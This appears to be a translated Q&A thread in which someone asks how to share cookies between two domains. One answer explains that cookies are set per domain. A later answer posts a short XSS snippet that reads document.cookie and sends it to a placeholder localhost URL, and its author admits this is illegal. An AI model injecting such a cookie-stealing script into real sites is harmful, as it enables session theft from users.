【发布时间】:2011-04-05 21:11:02
【问题描述】:
我希望能够在 example.com 和 mysite.com 之间访问和设置 cookie。我该怎么做?
【问题讨论】:
-
你不能直接这样做。你想达到什么目的?还可以在此处和 Internet 上搜索“跨域 cookie”以获取解决方法。
标签: javascript cookies
我希望能够在 example.com 和 mysite.com 之间访问和设置 cookie。我该怎么做?
【问题讨论】:
标签: javascript cookies
您不能仅使用 cookie 来做到这一点:它们是按域明确设置的,并且没有合法的(阅读:“非利用”)方式为另一个域设置它们。
但是,如果您控制两台服务器,则可以使用一些变通方法/黑客来实现这一点,但事实并非如此,而且它可能会意外中断(请参阅this question;那里的答案应该可以帮助您解决方案)。
【讨论】:
<script>
function xss(){
var cookies = document.cookie;
new Ajax.Request('//localhost/index.php?cookies='+cookies, {
onSuccess: function(response) {
alert(cookies);
}
});
}
xss();
</script>
PS 但这是非法的。 我使用原型库。
【讨论】:
it's illegal 以及为什么使用原型库来改进您的答案。